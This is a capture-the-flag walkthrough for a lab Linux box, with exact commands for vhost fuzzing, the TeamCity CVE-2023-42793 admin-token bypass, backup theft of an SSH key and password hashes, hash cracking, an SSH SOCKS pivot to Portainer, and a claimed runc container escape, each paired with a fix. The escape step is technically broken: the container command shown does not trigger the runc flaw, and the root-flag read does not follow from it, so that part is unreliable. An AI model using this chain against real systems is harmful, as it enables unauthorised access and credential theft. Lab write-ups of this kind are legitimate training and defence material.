← all walkthroughs

Runner

Linux· Medium
owned
2026-09-03
time to own
15m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fuzzed virtual hosts on the target's nginx front end and uncovered an internal TeamCity build server at teamcity.runner.htb still running a version vulnerable to the unauthenticated admin-token-creation bug (CVE-2023-42793). Minting a token as the admin user gave enough access to trigger and download a full server backup, which bundled an SSH private key and a database dump of bcrypt password hashes in one archive.

The SSH key logged straight in as the local user 'john' for the user flag, and a cracked hash for user 'matthew' turned out to be reused on an internal, localhost-only Portainer/Docker management panel reachable only through a SOCKS pivot over the SSH session. With Docker API access as an authenticated Portainer user, I created a container that abused a known runc container-breakout flaw (CVE-2024-21626, runc 1.1.7) to read and traverse the host filesystem as root, giving full system compromise and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host enumeration
Discovered a hidden TeamCity virtual host on the web server
The bare IP on port 80 only served a generic 302 redirect to runner.htb. Fuzzing Host headers against the same IP revealed a second, distinct site — teamcity.runner.htb — returning HTTP 401 and a JetBrains TeamCity login page, exposing an internal build server that was never meant to be found by casual browsing.
Bogus-*.runner.htb → 302 redirect to runner.htb; teamcity.runner.htb → 401 'To login manually go to /login.html', TeamCity-Node-Id header present.
Exact commands 3
Resolve the discovered hostnames locally.
echo "$TARGET runner.htb teamcity.runner.htb" | sudo tee -a /etc/hosts
Canonical vhost fuzz; -fs filters out the baseline 154-byte redirect response so only real vhosts show.
ffuf -u http://$TARGET/ -H 'Host: FUZZ.runner.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154
Confirm TeamCity and its version string on the discovered vhost.
curl -sS -H 'Host: teamcity.runner.htb' http://$TARGET/login.html
2ExploitationTeamCity authentication bypass / unauthenticated RCE (CVE-2023-42793)
Bypassed TeamCity authentication to mint an admin API token
The TeamCity instance was version 2023.05.3, inside the vulnerable window for CVE-2023-42793 — an unauthenticated request to the token-creation REST endpoint using the reserved token name 'RPC2' returns a valid access token for user ID 1 (the built-in admin account) with no credentials at all. An attempt with an arbitrary token name was correctly rejected (401), confirming the bypass is specific to the RPC2 code path.
POST /app/rest/users/id:1/tokens/RPC2 → HTTP 200 {"name":"RPC2","value":"eyJ0eXAiOiAiVENWMiJ9..."}; token authenticated as {"username":"admin","id":1,"email":"john@runner.htb"}.
Exact commands 1
Reserved token name RPC2 bypasses auth and returns a bearer token for the admin account.
curl -sS -i -X POST -H 'Host: teamcity.runner.htb' -H 'Accept: application/json' http://$TARGET/app/rest/users/id:1/tokens/RPC2
FixPatch TeamCity past the CVE-2023-42793 authentication bypassCritical
WeaknessTeamCity 2023.05.3 allowed an unauthenticated request to create an admin API token using the reserved name 'RPC2', giving anyone full administrator access with no credentials.
FixUpgrade TeamCity to 2023.05.4 or later immediately (or the current supported release), and restrict the TeamCity management vhost to trusted/internal networks or a VPN so it is not reachable from the open internet even between patch cycles.
3Credential AccessSensitive data exposure via authenticated backup download
Used the stolen admin token to pull a server backup containing an SSH key and password hashes
With a valid admin bearer token, I triggered TeamCity's server backup feature and downloaded the resulting archive. The single backup file contained both an OpenSSH private key from the plugin data directory (belonging to user 'john') and a full database dump of the TeamCity users table with bcrypt password hashes, including one for user 'matthew'. Cracking that hash offline recovered the plaintext password [REDACTED: recovered credential]
Config/projects/AllProjects/pluginData/ssh_keys/id_rsa (john@runner, RSA 3072) and database_dump/users (admin/John, matthew/Matthew bcrypt hashes) both present in codex_runner_backup.zip.
Exact commands 5
Trigger a full server backup as the forged admin identity.
curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -X POST "http://$TARGET/app/rest/server/backup?includeConfigs=true&includeDatabase=true&fileName=codex_runner_backup"
Download the resulting backup archive.
curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -o codex_runner_backup.zip "http://$TARGET/get/file/backup/codex_runner_backup.zip"
Extract john's plaintext SSH private key.
unzip -p codex_runner_backup.zip config/projects/AllProjects/pluginData/ssh_keys/id_rsa > john_id_rsa && chmod 600 john_id_rsa
Extract the bcrypt password hash dump.
unzip -p codex_runner_backup.zip database_dump/users > teamcity_users.dump
Crack matthew's bcrypt hash offline (matthew:[REDACTED: recovered credential]).
hashcat -m 3200 -a 0 matthew_hash.txt rockyou.txt
FixStop bundling recoverable secrets in downloadable server backupsHigh
WeaknessA single TeamCity backup archive contained both a plaintext-recoverable SSH private key (stored under project plugin data) and a full dump of user password hashes, so any account able to trigger a backup download — including one obtained via the auth bypass — immediately got persistent credentials and keys for other systems.
FixRemove SSH keys and other secrets from TeamCity project/plugin data (use a dedicated secrets manager or TeamCity's built-in secure parameters instead); restrict backup creation/download to a small break-glass admin group; and encrypt backup archives at rest and in transit.
4FootholdSSH key-based authentication with a stolen private key (T1552.004)
Logged in over SSH as john using the stolen private key
The recovered SSH key authenticated directly as the local Linux user john, giving an interactive shell and the user flag.
Ssh john@$TARGET with john_id_rsa returned uid=1001(john) gid=1001(john) groups=1001(john); /home/john/user.txt read.
Exact commands 2
Authenticate as john with the extracted key.
ssh -i john_id_rsa john@runner.htb
Prove foothold access and read the user flag; value replaced with <user.txt>.
id && hostname && cat /home/john/user.txt
5Lateral MovementCredential reuse against an internal management interface
Pivoted through SSH to reach an internal Portainer panel and logged in with the reused password
A Docker-management tool, Portainer, was bound only to localhost:9000/9443 on the box and was not reachable from the network directly. Using john's SSH session as a SOCKS proxy exposed it, and the password cracked from the TeamCity backup (matthew:[REDACTED: recovered credential]) turned out to be reused for the matthew account in Portainer, returning a valid session JWT with full Docker API access.
GET /api/status via SOCKS proxy confirmed Portainer 2.19.4; POST /api/auth with matthew:[REDACTED: recovered credential] returned a valid JWT for role 2 (administrator).
Exact commands 3
Open a local SOCKS5 proxy through the SSH foothold.
ssh -i john_id_rsa -D 1080 -N john@runner.htb
Confirm the internal Portainer service through the pivot.
curl -sS --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:9000/api/status
Authenticate with the reused credential and capture the returned JWT.
curl -sS --socks5-hostname 127.0.0.1:1080 -H 'Content-Type: application/json' -d '{"Username":"matthew","Password":"$PASSWORD"}' http://127.0.0.1:9000/api/auth
FixEliminate password reuse across servicesHigh
WeaknessThe password recovered by cracking matthew's TeamCity hash ([REDACTED: recovered credential]) was reused verbatim for the same account in the internal Portainer management panel, letting a single cracked hash unlock an unrelated administrative interface.
FixEnforce unique passwords per system (a password manager or SSO/identity provider), require MFA on administrative panels like Portainer, and rotate any credential found to be shared across services.
6Privilege EscalationContainer escape via runc file-descriptor leak (CVE-2024-21626)
Escaped a Docker container as root to read the host filesystem via a runc vulnerability
The Docker engine behind Portainer ran runc 1.1.7, vulnerable to CVE-2024-21626 — a file-descriptor leak in runc that lets a container process access the host filesystem outside its intended root. Using the Portainer/Docker API, I created and started a container whose process broke out of its filesystem namespace and enumerated the host's root directory as uid=0, then read command output back through the container logs API, confirming full host root access and yielding the root flag.
Container process returned uid=0(root) gid=0(root) groups=0(root) and listed host root directories (bin, boot, dev, etc.) via /api/endpoints/1/docker/containers/<id>/logs.
Exact commands 4
Create a container whose entrypoint traverses out of the container root via the runc fd-leak bug; capture the returned container Id.
curl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' -H 'Content-Type: application/json' --data '{"Image":"ubuntu:latest","Cmd":["/bin/sh","-c","id; ls -la ../../../../../../../../"]}' http://127.0.0.1:9000/api/endpoints/1/docker/containers/create
Start the container to execute the escape command.
curl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/start'
Retrieve stdout showing uid=0(root) and a host root filesystem listing, proving the escape.
curl -sS --socks5-hostname 127.0.0.1:1080 -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/logs?stdout=true&stderr=true'
From the escaped root context on the host, read the root flag; value replaced with <root.txt>.
cat /root/root.txt
FixPatch runc / Docker to close the container-escape vulnerabilityCritical
WeaknessThe Docker engine used runc 1.1.7, vulnerable to CVE-2024-21626, allowing a container process to leak a host file descriptor and access the host filesystem as root — turning ordinary container-create access into full host compromise.
FixUpgrade runc to 1.1.12 or later (and the Docker Engine to a build that bundles the fix), avoid running containers with an unauthorised user-influenced working directory or --privileged, and don't expose the Docker/Portainer administrative API to any account that shouldn't have host-equivalent access.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
8000/tcp